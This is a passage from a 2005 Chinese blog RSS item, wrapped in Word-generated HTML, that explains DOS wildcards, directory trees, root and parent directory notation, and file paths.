mso-fareast-font-family: 標楷體">"*"</SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">则代表若干个字符，如</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體">"*.BAT"</SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">就代表当前目录下所有后缀名为</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體">"BAT"</SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">的文件。</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體"><BR>DOS</SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">以目录树的形式管理磁盘，这里的目录就相当于</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體">Windows</SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">中的文件夹。和文件夹一样，目录也是一层一层的，构成一个树的形式。在一个盘符中最底层的目录为根目录，根目录下的目录都称为它的子目录，根目录用</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體">"\"</SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">表示，一个目录的上一层目录用</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體">".."</SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">表示。我们可以通过路径来查找某一个文件或目录，路径就如同地址一样，可以使用户方便、准确地进行查找。比如</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體">"C:\Windows\Command\deltree.exe"</SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">就是一个文件的路径。</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體"><BR><BR></SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">在同一个目录下，不允许存在相同名称的文件或目录。</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體"><o:p></o:p></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 'Times New Roman'; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體"><o:p> </o:p></SPAN></P><img src ="http://www.cnitblog.com/altair/aggbug/2333.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/altair/" target="_blank">Altair's Blog</a> 2005-08-25 14:06 <a href="http://www.cnitblog.com/altair/articles/2333.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>